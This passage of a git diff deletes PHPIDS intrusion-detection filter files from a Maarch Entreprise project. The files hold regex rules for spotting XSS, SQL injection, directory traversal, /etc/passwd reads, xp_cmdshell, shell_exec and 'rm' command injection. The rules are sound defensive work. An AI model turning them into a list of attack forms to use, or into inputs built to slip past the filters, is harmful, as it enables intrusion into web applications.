benchmark().","tags":{"tag":["sqli","id"]},"impact":"4"},{"id":"73","rule":"(?i:(\\%SYSTEMROOT\\%))","description":"An attacker is trying to locate a file to read or write.","tags":{"tag":["files","id"]},"impact":"4"},{"id":"74","rule":"(?i:(ping(.*)[\\-(.*)\\w|\\w(.*)\\-]))","description":"Detects remote code exectuion tests. Will match \"ping -n 3 localhost\" and \"ping localhost -n 3\"","tags":{"tag":["Command Execution","id"]},"impact":"5"},{"id":"75","rule":"(?:(((.*)\\%[c|d|i|e|f|g|o|s|u|x|p|n]){8}))","description":"Looking for a format string attack","tags":{"tag":"format string"},"impact":"4"},{"id":"76","rule":"(?:(union(.*)select(.*)from))","description":"Looking for basic sql injection. Common attack string for mysql, oracle and others.","tags":{"tag":["sqli","id"]},"impact":"3"},{"id":"77","rule":"(?:^(-0000023456|4294967295|4294967296|2147483648|2147483647|0000012345|-2147483648|-2147483649|0000023456|2.2250738585072007e-308|1e309)$)","description":"Looking for intiger overflow attacks, these are taken from skipfish, except 2.2250738585072007e-308 is the \"magic number\" crash","tags":{"tag":["sqli","id"]},"impact":"3"}]}} \ No newline at end of file diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/default_filter.xml b/apps/maarch_entreprise/tools/phpids/lib/IDS/default_filter.xml deleted file mode 100755 index 895e8515ce555f5785ade1352fd9f5ee5d3b8a5b..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/default_filter.xml +++ /dev/null @@ -1,799 +0,0 @@ -<filters> - <filter> - <id>1</id> - <rule><![CDATA[(?:"[^"]*[^-]?>)|(?:[^\w\s]\s*\/>)|(?:>")]]></rule> - <description>finds html breaking injections including whitespace attacks</description> - <tags> - <tag>xss</tag> - <tag>csrf</tag> - </tags> - <impact>4</impact> - </filter> - <filter> - <id>2</id> - <rule><![CDATA[(?:"+.*[<=]\s*"[^"]+")|(?:"\s*\w+\s*=)|(?:>\w=\/)|(?:#.+\)["\s]*>)|(?:"\s*(?:src|style|on\w+)\s*=\s*")|(?:[^"]?"[,;\s]+\w*[\[\(])]]></rule> - <description>finds attribute breaking injections including whitespace attacks</description> - <tags> - <tag>xss</tag> - <tag>csrf</tag> - </tags> - <impact>4</impact> - </filter> - <filter> - <id>3</id> - <rule><![CDATA[(?:^>[\w\s]*<\/?\w{2,}>)]]></rule> - <description>finds unquoted attribute breaking injections</description> - <tags> - <tag>xss</tag> - <tag>csrf</tag> - </tags> - <impact>2</impact> - </filter> - <filter> - <id>4</id> - <rule><![CDATA[(?:[+\/]\s*name[\W\d]*[)+])|(?:;\W*url\s*=)|(?:[^\w\s\/?:>]\s*(?:location|referrer|name)\s*[^\/\w\s-])]]></rule> - <description>Detects url-, name-, JSON, and referrer-contained payload attacks</description> - <tags> - <tag>xss</tag> - <tag>csrf</tag> - </tags> - <impact>5</impact> - </filter> - <filter> - <id>5</id> - <rule><![CDATA[(?:\W\s*hash\s*[^\w\s-])|(?:\w+=\W*[^,]*,[^\s(]\s*\()|(?:\?"[^\s"]":)|(?:(?<!\/)__[a-z]+__)|(?:(?:^|[\s)\]\}])(?:s|g)etter\s*=)]]></rule> - <description>Detects hash-contained xss payload attacks, setter usage and property overloading</description> - <tags> - <tag>xss</tag> - <tag>csrf</tag> - </tags> - <impact>5</impact> - </filter> - <filter> - <id>6</id> - <rule><![CDATA[(?:with\s*\(\s*.+\s*\)\s*\w+\s*\()|(?:(?:do|while|for)\s*\([^)]*\)\s*\{)|(?:\/[\w\s]*\[\W*\w)]]></rule> - <description>Detects self contained xss via with(), common loops and regex to string conversion</description> - <tags> - <tag>xss</tag> - <tag>csrf</tag> - </tags> - <impact>5</impact> - </filter> - <filter> - <id>7</id> - <rule><![CDATA[(?:[=(].+\?.+:)|(?:with\([^)]*\)\))|(?:\.\s*source\W)]]></rule> - <description>Detects JavaScript with(), ternary operators and XML predicate attacks</description> - <tags> - <tag>xss</tag> - <tag>csrf</tag> - </tags> - <impact>5</impact> - </filter> - <filter> - <id>8</id> - <rule><![CDATA[(?:\/\w*\s*\)\s*\()|(?:\([\w\s]+\([\w\s]+\)[\w\s]+\))|(?:(?<!(?:mozilla\/\d\.\d\s))\([^)[]+\[[^\]]+\][^)]*\))|(?:[^\s!][{([][^({[]+[{([][^}\])]+[}\])][\s+",\d]*[}\])])|(?:"\)?\]\W*\[)|(?:=\s*[^\s:;]+\s*[{([][^}\])]+[}\])];)]]></rule> - <description>Detects self-executing JavaScript functions</description> - <tags> - <tag>xss</tag> - <tag>csrf</tag> - </tags> - <impact>5</impact> - </filter> - <filter> - <id>9</id> - <rule><![CDATA[(?:\\u00[a-f0-9]{2})|(?:\\x0*[a-f0-9]{2})|(?:\\\d{2,3})]]></rule> - <description>Detects the IE octal, hex and unicode entities</description> - <tags> - <tag>xss</tag> - <tag>csrf</tag> - </tags> - <impact>2</impact> - </filter> - <filter> - <id>10</id> - <rule><![CDATA[(?:(?:\/|\\)?\.+(\/|\\)(?:\.+)?)|(?:\w+\.exe\??\s)|(?:;\s*\w+\s*\/[\w*-]+\/)|(?:\d\.\dx\|)|(?:%(?:c0\.|af\.|5c\.))|(?:\/(?:%2e){2})]]></rule> - <description>Detects basic directory traversal</description> - <tags> - <tag>dt</tag> - <tag>id</tag> - <tag>lfi</tag> - </tags> - <impact>5</impact> - </filter> - <filter> - <id>11</id> - <rule><![CDATA[(?:%c0%ae\/)|(?:(?:\/|\\)(home|conf|usr|etc|proc|opt|s?bin|local|dev|tmp|kern|[br]oot|sys|system|windows|winnt|program|%[a-z_-]{3,}%)(?:\/|\\))|(?:(?:\/|\\)inetpub|localstart\.asp|boot\.ini)]]></rule> - <description>Detects specific directory and path traversal</description> - <tags> - <tag>dt</tag> - <tag>id</tag> - <tag>lfi</tag> - </tags> - <impact>5</impact> - </filter> - <filter> - <id>12</id> - <rule><![CDATA[(?:etc\/\W*passwd)]]></rule> - <description>Detects etc/passwd inclusion attempts</description> - <tags> - <tag>dt</tag> - <tag>id</tag> - <tag>lfi</tag> - </tags> - <impact>5</impact> - </filter> - <filter> - <id>13</id> - <rule><![CDATA[(?:%u(?:ff|00|e\d)\w\w)|(?:(?:%(?:e\w|c[^3\W]|))(?:%\w\w)(?:%\w\w)?)]]></rule> - <description>Detects halfwidth/fullwidth encoded unicode HTML breaking attempts</description> - <tags> - <tag>xss</tag> - <tag>csrf</tag> - </tags> - <impact>3</impact> - </filter> - <filter> - <id>14</id> - <rule><![CDATA[(?:#@~\^\w+)|(?:\w+script:|@import[^\w]|;base64|base64,)|(?:\w+\s*\([\w\s]+,[\w\s]+,[\w\s]+,[\w\s]+,[\w\s]+,[\w\s]+\))]]></rule> - <description>Detects possible includes, VBSCript/JScript encodeed and packed functions</description> - <tags> - <tag>xss</tag> - <tag>csrf</tag> - <tag>id</tag> - <tag>rfe</tag> - </tags> - <impact>5</impact> - </filter> - <filter> - <id>15</id> - <rule><![CDATA[([^*:\s\w,.\/?+-]\s*)?(?<![a-z]\s)(?<![a-z\/_@\-\|])(\s*return\s*)?(?:create(?:element|attribute|textnode)|[a-z]+events?|setattribute|getelement\w+|appendchild|createrange|createcontextualfragment|removenode|parentnode|decodeuricomponent|\wettimeout|(?:ms)?setimmediate|option|useragent)(?(1)[^\w%"]|(?:\s*[^@\s\w%",.+\-]))]]></rule> - <description>Detects JavaScript DOM/miscellaneous properties and methods</description> - <tags> - <tag>xss</tag> - <tag>csrf</tag> - <tag>id</tag> - <tag>rfe</tag> - </tags> - <impact>6</impact> - </filter> - <filter> - <id>16</id> - <rule><![CDATA[([^*\s\w,.\/?+-]\s*)?(?<![a-mo-z]\s)(?<![a-z\/_@])(\s*return\s*)?(?:alert|inputbox|showmod(?:al|eless)dialog|showhelp|infinity|isnan|isnull|iterator|msgbox|executeglobal|expression|prompt|write(?:ln)?|confirm|dialog|urn|(?:un)?eval|exec|execscript|tostring|status|execute|window|unescape|navigate|jquery|getscript|extend|prototype)(?(1)[^\w%"]|(?:\s*[^@\s\w%",.:\/+\-]))]]></rule> - <description>Detects possible includes and typical script methods</description> - <tags> - <tag>xss</tag> - <tag>csrf</tag> - <tag>id</tag> - <tag>rfe</tag> - </tags> - <impact>5</impact> - </filter> - <filter> - <id>17</id> - <rule><![CDATA[([^*:\s\w,.\/?+-]\s*)?(?<![a-z]\s)(?<![a-z\/_@])(\s*return\s*)?(?:hash|name|href|navigateandfind|source|pathname|close|constructor|port|protocol|assign|replace|back|forward|document|ownerdocument|window|top|this|self|parent|frames|_?content|date|cookie|innerhtml|innertext|csstext+?|outerhtml|print|moveby|resizeto|createstylesheet|stylesheets)(?(1)[^\w%"]|(?:\s*[^@\/\s\w%.+\-]))]]></rule> - <description>Detects JavaScript object properties and methods</description> - <tags> - <tag>xss</tag> - <tag>csrf</tag> - <tag>id</tag> - <tag>rfe</tag> - </tags> - <impact>4</impact> - </filter> - <filter> - <id>18</id> - <rule><![CDATA[([^*:\s\w,.\/?+-]\s*)?(?<![a-z]\s)(?<![a-z\/_@\-\|])(\s*return\s*)?(?:join|pop|push|reverse|reduce|concat|map|shift|sp?lice|sort|unshift)(?(1)[^\w%"]|(?:\s*[^@\s\w%,.+\-]))]]></rule> - <description>Detects JavaScript array properties and methods</description> - <tags> - <tag>xss</tag> - <tag>csrf</tag> - <tag>id</tag> - <tag>rfe</tag> - </tags> - <impact>4</impact> - </filter> - <filter> - <id>19</id> - <rule><![CDATA[([^*:\s\w,.\/?+-]\s*)?(?<![a-z]\s)(?<![a-z\/_@\-\|])(\s*return\s*)?(?:set|atob|btoa|charat|charcodeat|charset|concat|crypto|frames|fromcharcode|indexof|lastindexof|match|navigator|toolbar|menubar|replace|regexp|slice|split|substr|substring|escape|\w+codeuri\w*)(?(1)[^\w%"]|(?:\s*[^@\s\w%,.+\-]))]]></rule> - <description>Detects JavaScript string properties and methods</description> - <tags> - <tag>xss</tag> - <tag>csrf</tag> - <tag>id</tag> - <tag>rfe</tag> - </tags> - <impact>4</impact> - </filter> - <filter> - <id>20</id> - <rule><![CDATA[(?:\)\s*\[)|([^*":\s\w,.\/?+-]\s*)?(?<![a-z]\s)(?<![a-z_@\|])(\s*return\s*)?(?:globalstorage|sessionstorage|postmessage|callee|constructor|content|domain|prototype|try|catch|top|call|apply|url|function|object|array|string|math|if|for\s*(?:each)?|elseif|case|switch|regex|boolean|location|(?:ms)?setimmediate|settimeout|setinterval|void|setexpression|namespace|while)(?(1)[^\w%"]|(?:\s*[^@\s\w%".+\-\/]))]]></rule> - <description>Detects JavaScript language constructs</description> - <tags> - <tag>xss</tag> - <tag>csrf</tag> - <tag>id</tag> - <tag>rfe</tag> - </tags> - <impact>4</impact> - </filter> - <filter> - <id>21</id> - <rule><![CDATA[(?:,\s*(?:alert|showmodaldialog|eval)\s*,)|(?::\s*eval\s*[^\s])|([^:\s\w,.\/?+-]\s*)?(?<![a-z\/_@])(\s*return\s*)?(?:(?:document\s*\.)?(?:.+\/)?(?:alert|eval|msgbox|showmod(?:al|eless)dialog|showhelp|prompt|write(?:ln)?|confirm|dialog|open))\s*(?:[^.a-z\s\-]|(?:\s*[^\s\w,.@\/+-]))|(?:java[\s\/]*\.[\s\/]*lang)|(?:\w\s*=\s*new\s+\w+)|(?:&\s*\w+\s*\)[^,])|(?:\+[\W\d]*new\s+\w+[\W\d]*\+)|(?:document\.\w)]]></rule> - <description>Detects very basic XSS probings</description> - <tags> - <tag>xss</tag> - <tag>csrf</tag> - <tag>id</tag> - <tag>rfe</tag> - </tags> - <impact>3</impact> - </filter> - <filter> - <id>22</id> - <rule><![CDATA[(?:=\s*(?:top|this|window|content|self|frames|_content))|(?:\/\s*[gimx]*\s*[)}])|(?:[^\s]\s*=\s*script)|(?:\.\s*constructor)|(?:default\s+xml\s+namespace\s*=)|(?:\/\s*\+[^+]+\s*\+\s*\/)]]></rule> - <description>Detects advanced XSS probings via Script(), RexExp, constructors and XML namespaces</description> - <tags> - <tag>xss</tag> - <tag>csrf</tag> - <tag>id</tag> - <tag>rfe</tag> - </tags> - <impact>5</impact> - </filter> - <filter> - <id>23</id> - <rule><![CDATA[(?:\.\s*\w+\W*=)|(?:\W\s*(?:location|document)\s*\W[^({[;]+[({[;])|(?:\(\w+\?[:\w]+\))|(?:\w{2,}\s*=\s*\d+[^&\w]\w+)|(?:\]\s*\(\s*\w+)]]></rule> - <description>Detects JavaScript location/document property access and window access obfuscation</description> - <tags> - <tag>xss</tag> - <tag>csrf</tag> - </tags> - <impact>5</impact> - </filter> - <filter> - <id>24</id> - <rule><![CDATA[(?:[".]script\s*\()|(?:\$\$?\s*\(\s*[\w"])|(?:\/[\w\s]+\/\.)|(?:=\s*\/\w+\/\s*\.)|(?:(?:this|window|top|parent|frames|self|content)\[\s*[(,"]*\s*[\w\$])|(?:,\s*new\s+\w+\s*[,;)])]]></rule> - <description>Detects basic obfuscated JavaScript script injections</description> - <tags> - <tag>xss</tag> - <tag>csrf</tag> - </tags> - <impact>5</impact> - </filter> - <filter> - <id>25</id> - <rule><![CDATA[(?:=\s*[$\w]\s*[\(\[])|(?:\(\s*(?:this|top|window|self|parent|_?content)\s*\))|(?:src\s*=s*(?:\w+:|\/\/))|(?:\w+\[("\w+"|\w+\|\|))|(?:[\d\W]\|\|[\d\W]|\W=\w+,)|(?:\/\s*\+\s*[a-z"])|(?:=\s*\$[^([]*\()|(?:=\s*\(\s*")]]></rule> - <description>Detects obfuscated JavaScript script injections</description> - <tags> - <tag>xss</tag> - <tag>csrf</tag> - </tags> - <impact>5</impact> - </filter> - <filter> - <id>26</id> - <rule><![CDATA[(?:[^:\s\w]+\s*[^\w\/](href|protocol|host|hostname|pathname|hash|port|cookie)[^\w])]]></rule> - <description>Detects JavaScript cookie stealing and redirection attempts</description> - <tags> - <tag>xss</tag> - <tag>csrf</tag> - </tags> - <impact>4</impact> - </filter> - <filter> - <id>27</id> - <rule><![CDATA[(?:(?:vbs|vbscript|data):.*[,+])|(?:\w+\s*=\W*(?!https?)\w+:)|(jar:\w+:)|(=\s*"?\s*vbs(?:ript)?:)|(language\s*=\s?"?\s*vbs(?:ript)?)|on\w+\s*=\*\w+\-"?]]></rule> - <description>Detects data: URL injections, VBS injections and common URI schemes</description> - <tags> - <tag>xss</tag> - <tag>rfe</tag> - </tags> - <impact>5</impact> - </filter> - <filter> - <id>28</id> - <rule><![CDATA[(?:firefoxurl:\w+\|)|(?:(?:file|res|telnet|nntp|news|mailto|chrome)\s*:\s*[%&#xu\/]+)|(wyciwyg|firefoxurl\s*:\s*\/\s*\/)]]></rule> - <description>Detects IE firefoxurl injections, cache poisoning attempts and local file inclusion/execution</description> - <tags> - <tag>xss</tag> - <tag>rfe</tag> - <tag>lfi</tag> - <tag>csrf</tag> - </tags> - <impact>5</impact> - </filter> - <filter> - <id>29</id> - <rule><![CDATA[(?:binding\s?=|moz-binding|behavior\s?=)|(?:[\s\/]style\s*=\s*[-\\])]]></rule> - <description>Detects bindings and behavior injections</description> - <tags> - <tag>xss</tag> - <tag>csrf</tag> - <tag>rfe</tag> - </tags> - <impact>4</impact> - </filter> - <filter> - <id>30</id> - <rule><![CDATA[(?:=\s*\w+\s*\+\s*")|(?:\+=\s*\(\s")|(?:!+\s*[\d.,]+\w?\d*\s*\?)|(?:=\s*\[s*\])|(?:"\s*\+\s*")|(?:[^\s]\[\s*\d+\s*\]\s*[;+])|(?:"\s*[&|]+\s*")|(?:\/\s*\?\s*")|(?:\/\s*\)\s*\[)|(?:\d\?.+:\d)|(?:]\s*\[\W*\w)|(?:[^\s]\s*=\s*\/)]]></rule> - <description>Detects common XSS concatenation patterns 1/2</description> - <tags> - <tag>xss</tag> - <tag>csrf</tag> - <tag>id</tag> - <tag>rfe</tag> - </tags> - <impact>4</impact> - </filter> - <filter> - <id>31</id> - <rule><![CDATA[(?:=\s*\d*\.\d*\?\d*\.\d*)|(?:[|&]{2,}\s*")|(?:!\d+\.\d*\?")|(?:\/:[\w.]+,)|(?:=[\d\W\s]*\[[^]]+\])|(?:\?\w+:\w+)]]></rule> - <description>Detects common XSS concatenation patterns 2/2</description> - <tags> - <tag>xss</tag> - <tag>csrf</tag> - <tag>id</tag> - <tag>rfe</tag> - </tags> - <impact>4</impact> - </filter> - <filter> - <id>32</id> - <rule><![CDATA[(?:[^\w\s=]on(?!g\>)\w+[^=_+-]*=[^$]+(?:\W|\>)?)]]></rule> - <description>Detects possible event handlers</description> - <tags> - <tag>xss</tag> - <tag>csrf</tag> - </tags> - <impact>4</impact> - </filter> - <filter> - <id>33</id> - <rule><![CDATA[(?:\<\w*:?\s(?:[^\>]*)t(?!rong))|(?:\<scri)|(<\w+:\w+)]]></rule> - <description>Detects obfuscated script tags and XML wrapped HTML</description> - <tags> - <tag>xss</tag> - </tags> - <impact>4</impact> - </filter> - <filter> - <id>34</id> - <rule><![CDATA[(?:\<\/\w+\s\w+)|(?:@(?:cc_on|set)[\s@,"=])]]></rule> - <description>Detects attributes in closing tags and conditional compilation tokens</description> - <tags> - <tag>xss</tag> - <tag>csrf</tag> - </tags> - <impact>4</impact> - </filter> - <filter> - <id>35</id> - <rule><![CDATA[(?:--[^\n]*$)|(?:\<!-|-->)|(?:[^*]\/\*|\*\/[^*])|(?:(?:[\W\d]#|--|{)$)|(?:\/{3,}.*$)|(?:<!\[\W)|(?:\]!>)]]></rule> - <description>Detects common comment types</description> - <tags> - <tag>xss</tag> - <tag>csrf</tag> - <tag>id</tag> - </tags> - <impact>3</impact> - </filter> - <filter> - <id>37</id> - <rule><![CDATA[(?:\<base\s+)|(?:<!(?:element|entity|\[CDATA))]]></rule> - <description>Detects base href injections and XML entity injections</description> - <tags> - <tag>xss</tag> - <tag>csrf</tag> - <tag>id</tag> - </tags> - <impact>5</impact> - </filter> - <filter> - <id>38</id> - <rule><![CDATA[(?:\<[\/]?(?:[i]?frame|applet|isindex|marquee|keygen|script|audio|video|input|button|textarea|style|base|body|meta|link|object|embed|param|plaintext|xm\w+|image|im(?:g|port)))]]></rule> - <description>Detects possibly malicious html elements including some attributes</description> - <tags> - <tag>xss</tag> - <tag>csrf</tag> - <tag>id</tag> - <tag>rfe</tag> - <tag>lfi</tag> - </tags> - <impact>4</impact> - </filter> - <filter> - <id>39</id> - <rule><![CDATA[(?:\\x[01fe][\db-ce-f])|(?:%[01fe][\db-ce-f])|(?:&#[01fe][\db-ce-f])|(?:\\[01fe][\db-ce-f])|(?:&#x[01fe][\db-ce-f])]]></rule> - <description>Detects nullbytes and other dangerous characters</description> - <tags> - <tag>id</tag> - <tag>rfe</tag> - <tag>xss</tag> - </tags> - <impact>5</impact> - </filter> - <filter> - <id>40</id> - <rule><![CDATA[(?:\)\s*when\s*\d+\s*then)|(?:"\s*(?:#|--|{))|(?:\/\*!\s?\d+)|(?:ch(?:a)?r\s*\(\s*\d)|(?:(?:(n?and|x?or|not)\s+|\|\||\&\&)\s*\w+\()]]></rule> - <description>Detects MySQL comments, conditions and ch(a)r injections</description> - <tags> - <tag>sqli</tag> - <tag>id</tag> - <tag>lfi</tag> - </tags> - <impact>6</impact> - </filter> - <filter> - <id>41</id> - <rule><![CDATA[(?:[\s()]case\s*\()|(?:\)\s*like\s*\()|(?:having\s*[^\s]+\s*[^\w\s])|(?:if\s?\([\d\w]\s*[=<>~])]]></rule> - <description>Detects conditional SQL injection attempts</description> - <tags> - <tag>sqli</tag> - <tag>id</tag> - <tag>lfi</tag> - </tags> - <impact>6</impact> - </filter> - <filter> - <id>42</id> - <rule><![CDATA[(?:"\s*or\s*"?\d)|(?:\\x(?:23|27|3d))|(?:^.?"$)|(?:(?:^["\\]*(?:[\d"]+|[^"]+"))+\s*(?:n?and|x?or|not|\|\||\&\&)\s*[\w"[+&!@(),.-])|(?:[^\w\s]\w+\s*[|-]\s*"\s*\w)|(?:@\w+\s+(and|or)\s*["\d]+)|(?:@[\w-]+\s(and|or)\s*[^\w\s])|(?:[^\w\s:]\s*\d\W+[^\w\s]\s*".)|(?:\Winformation_schema|table_name\W)]]></rule> - <description>Detects classic SQL injection probings 1/2</description> - <tags> - <tag>sqli</tag> - <tag>id</tag> - <tag>lfi</tag> - </tags> - <impact>6</impact> - </filter> - <filter> - <id>43</id> - <rule><![CDATA[(?:"\s*\*.+(?:or|id)\W*"\d)|(?:\^")|(?:^[\w\s"-]+(?<=and\s)(?<=or\s)(?<=xor\s)(?<=nand\s)(?<=not\s)(?<=\|\|)(?<=\&\&)\w+\()|(?:"[\s\d]*[^\w\s]+\W*\d\W*.*["\d])|(?:"\s*[^\w\s?]+\s*[^\w\s]+\s*")|(?:"\s*[^\w\s]+\s*[\W\d].*(?:#|--))|(?:".*\*\s*\d)|(?:"\s*or\s[^\d]+[\w-]+.*\d)|(?:[()*<>%+-][\w-]+[^\w\s]+"[^,])]]></rule> - <description>Detects classic SQL injection probings 2/2</description> - <tags> - <tag>sqli</tag> - <tag>id</tag> - <tag>lfi</tag> - </tags> - <impact>6</impact> - </filter> - <filter> - <id>44</id> - <rule><![CDATA[(?:\d"\s+"\s+\d)|(?:^admin\s*"|(\/\*)+"+\s?(?:--|#|\/\*|{)?)|(?:"\s*or[\w\s-]+\s*[+<>=(),-]\s*[\d"])|(?:"\s*[^\w\s]?=\s*")|(?:"\W*[+=]+\W*")|(?:"\s*[!=|][\d\s!=+-]+.*["(].*$)|(?:"\s*[!=|][\d\s!=]+.*\d+$)|(?:"\s*like\W+[\w"(])|(?:\sis\s*0\W)|(?:where\s[\s\w\.,-]+\s=)|(?:"[<>~]+")]]></rule> - <description>Detects basic SQL authentication bypass attempts 1/3</description> - <tags> - <tag>sqli</tag> - <tag>id</tag> - <tag>lfi</tag> - </tags> - <impact>7</impact> - </filter> - <filter> - <id>45</id> - <rule><![CDATA[(?:union\s*(?:all|distinct|[(!@]*)?\s*[([]*\s*select)|(?:\w+\s+like\s+\")|(?:like\s*"\%)|(?:"\s*like\W*["\d])|(?:"\s*(?:n?and|x?or|not |\|\||\&\&)\s+[\s\w]+=\s*\w+\s*having)|(?:"\s*\*\s*\w+\W+")|(?:"\s*[^?\w\s=.,;)(]+\s*[(@"]*\s*\w+\W+\w)|(?:select\s*[\[\]()\s\w\.,"-]+from)|(?:find_in_set\s*\()]]></rule> - <description>Detects basic SQL authentication bypass attempts 2/3</description> - <tags> - <tag>sqli</tag> - <tag>id</tag> - <tag>lfi</tag> - </tags> - <impact>7</impact> - </filter> - <filter> - <id>46</id> - <rule><![CDATA[(?:in\s*\(+\s*select)|(?:(?:n?and|x?or|not |\|\||\&\&)\s+[\s\w+]+(?:regexp\s*\(|sounds\s+like\s*"|[=\d]+x))|("\s*\d\s*(?:--|#))|(?:"[%&<>^=]+\d\s*(=|or))|(?:"\W+[\w+-]+\s*=\s*\d\W+")|(?:"\s*is\s*\d.+"?\w)|(?:"\|?[\w-]{3,}[^\w\s.,]+")|(?:"\s*is\s*[\d.]+\s*\W.*")]]></rule> - <description>Detects basic SQL authentication bypass attempts 3/3</description> - <tags> - <tag>sqli</tag> - <tag>id</tag> - <tag>lfi</tag> - </tags> - <impact>7</impact> - </filter> - <filter> - <id>47</id> - <rule><![CDATA[(?:[\d\W]\s+as\s*["\w]+\s*from)|(?:^[\W\d]+\s*(?:union|select|create|rename|truncate|load|alter|delete|update|insert|desc))|(?:(?:select|create|rename|truncate|load|alter|delete|update|insert|desc)\s+(?:(?:group_)concat|char|load_file)\s?\(?)|(?:end\s*\);)|("\s+regexp\W)|(?:[\s(]load_file\s*\()]]></rule> - <description>Detects concatenated basic SQL injection and SQLLFI attempts</description> - <tags> - <tag>sqli</tag> - <tag>id</tag> - <tag>lfi</tag> - </tags> - <impact>5</impact> - </filter> - <filter> - <id>48</id> - <rule><![CDATA[(?:@.+=\s*\(\s*select)|(?:\d+\s*or\s*\d+\s*[\-+])|(?:\/\w+;?\s+(?:having|and|or|select)\W)|(?:\d\s+group\s+by.+\()|(?:(?:;|#|--)\s*(?:drop|alter))|(?:(?:;|#|--)\s*(?:update|insert)\s*\w{2,})|(?:[^\w]SET\s*@\w+)|(?:(?:n?and|x?or|not |\|\||\&\&)[\s(]+\w+[\s)]*[!=+]+[\s\d]*["=()])]]></rule> - <description>Detects chained SQL injection attempts 1/2</description> - <tags> - <tag>sqli</tag> - <tag>id</tag> - </tags> - <impact>6</impact> - </filter> - <filter> - <id>49</id> - <rule><![CDATA[(?:"\s+and\s*=\W)|(?:\(\s*select\s*\w+\s*\()|(?:\*\/from)|(?:\+\s*\d+\s*\+\s*@)|(?:\w"\s*(?:[-+=|@]+\s*)+[\d(])|(?:coalesce\s*\(|@@\w+\s*[^\w\s])|(?:\W!+"\w)|(?:";\s*(?:if|while|begin))|(?:"[\s\d]+=\s*\d)|(?:order\s+by\s+if\w*\s*\()|(?:[\s(]+case\d*\W.+[tw]hen[\s(])]]></rule> - <description>Detects chained SQL injection attempts 2/2</description> - <tags> - <tag>sqli</tag> - <tag>id</tag> - </tags> - <impact>6</impact> - </filter> - <filter> - <id>50</id> - <rule><![CDATA[(?:(select|;)\s+(?:benchmark|if|sleep)\s*?\(\s*\(?\s*\w+)]]></rule> - <description>Detects SQL benchmark and sleep injection attempts including conditional queries</description> - <tags> - <tag>sqli</tag> - <tag>id</tag> - </tags> - <impact>4</impact> - </filter> - <filter> - <id>51</id> - <rule><![CDATA[(?:create\s+function\s+\w+\s+returns)|(?:;\s*(?:select|create|rename|truncate|load|alter|delete|update|insert|desc)\s*[\[(]?\w{2,})]]></rule> - <description>Detects MySQL UDF injection and other data/structure manipulation attempts</description> - <tags> - <tag>sqli</tag> - <tag>id</tag> - </tags> - <impact>6</impact> - </filter> - <filter> - <id>52</id> - <rule><![CDATA[(?:alter\s*\w+.*character\s+set\s+\w+)|(";\s*waitfor\s+time\s+")|(?:";.*:\s*goto)]]></rule> - <description>Detects MySQL charset switch and MSSQL DoS attempts</description> - <tags> - <tag>sqli</tag> - <tag>id</tag> - </tags> - <impact>6</impact> - </filter> - <filter> - <id>53</id> - <rule><![CDATA[(?:procedure\s+analyse\s*\()|(?:;\s*(declare|open)\s+[\w-]+)|(?:create\s+(procedure|function)\s*\w+\s*\(\s*\)\s*-)|(?:declare[^\w]+[@#]\s*\w+)|(exec\s*\(\s*@)]]></rule> - <description>Detects MySQL and PostgreSQL stored procedure/function injections</description> - <tags> - <tag>sqli</tag> - <tag>id</tag> - </tags> - <impact>7</impact> - </filter> - <filter> - <id>54</id> - <rule><![CDATA[(?:select\s*pg_sleep)|(?:waitfor\s*delay\s?"+\s?\d)|(?:;\s*shutdown\s*(?:;|--|#|\/\*|{))]]></rule> - <description>Detects Postgres pg_sleep injection, waitfor delay attacks and database shutdown attempts</description> - <tags> - <tag>sqli</tag> - <tag>id</tag> - </tags> - <impact>5</impact> - </filter> - <filter> - <id>55</id> - <rule><![CDATA[(?:\sexec\s+xp_cmdshell)|(?:"\s*!\s*["\w])|(?:from\W+information_schema\W)|(?:(?:(?:current_)?user|database|schema|connection_id)\s*\([^\)]*)|(?:";?\s*(?:select|union|having)\s*[^\s])|(?:\wiif\s*\()|(?:exec\s+master\.)|(?:union select @)|(?:union[\w(\s]*select)|(?:select.*\w?user\()|(?:into[\s+]+(?:dump|out)file\s*")]]></rule> - <description>Detects MSSQL code execution and information gathering attempts</description> - <tags> - <tag>sqli</tag> - <tag>id</tag> - </tags> - <impact>5</impact> - </filter> - <filter> - <id>56</id> - <rule><![CDATA[(?:merge.*using\s*\()|(execute\s*immediate\s*")|(?:\W+\d*\s*having\s*[^\s\-])|(?:match\s*[\w(),+-]+\s*against\s*\()]]></rule> - <description>Detects MATCH AGAINST, MERGE, EXECUTE IMMEDIATE and HAVING injections</description> - <tags> - <tag>sqli</tag> - <tag>id</tag> - </tags> - <impact>5</impact> - </filter> - <filter> - <id>57</id> - <rule><![CDATA[(?:,.*[)\da-f"]"(?:".*"|\Z|[^"]+))|(?:\Wselect.+\W*from)|((?:select|create|rename|truncate|load|alter|delete|update|insert|desc)\s*\(\s*space\s*\()]]></rule> - <description>Detects MySQL comment-/space-obfuscated injections and backtick termination</description> - <tags> - <tag>sqli</tag> - <tag>id</tag> - </tags> - <impact>5</impact> - </filter> - <filter> - <id>58</id> - <rule><![CDATA[(?:@[\w-]+\s*\()|(?:]\s*\(\s*["!]\s*\w)|(?:<[?%](?:php)?.*(?:[?%]>)?)|(?:;[\s\w|]*\$\w+\s*=)|(?:\$\w+\s*=(?:(?:\s*\$?\w+\s*[(;])|\s*".*"))|(?:;\s*\{\W*\w+\s*\()]]></rule> - <description>Detects code injection attempts 1/3</description> - <tags> - <tag>id</tag> - <tag>rfe</tag> - <tag>lfi</tag> - </tags> - <impact>7</impact> - </filter> - <filter> - <id>59</id> - <rule><![CDATA[(?:(?:[;]+|(<[?%](?:php)?)).*(?:define|eval|file_get_contents|include|require|require_once|set|shell_exec|phpinfo|system|passthru|preg_\w+|execute)\s*["(@])]]></rule> - <description>Detects code injection attempts 2/3</description> - <tags> - <tag>id</tag> - <tag>rfe</tag> - <tag>lfi</tag> - </tags> - <impact>7</impact> - </filter> - <filter> - <id>60</id> - <rule><![CDATA[(?:(?:[;]+|(<[?%](?:php)?)).*[^\w](?:echo|print|print_r|var_dump|[fp]open))|(?:;\s*rm\s+-\w+\s+)|(?:;.*{.*\$\w+\s*=)|(?:\$\w+\s*\[\]\s*=\s*)]]></rule> - <description>Detects code injection attempts 3/3</description> - <tags> - <tag>id</tag> - <tag>rfe</tag> - <tag>lfi</tag> - </tags> - <impact>7</impact> - </filter> - <filter> - <id>61</id> - <rule><![CDATA[(?:\w+]?(?<!href)(?<!src)(?<!longdesc)(?<!returnurl)=(?:https?|ftp):)|(?:\{\s*\$\s*\{)]]></rule> - <description>Detects url injections and RFE attempts</description> - <tags> 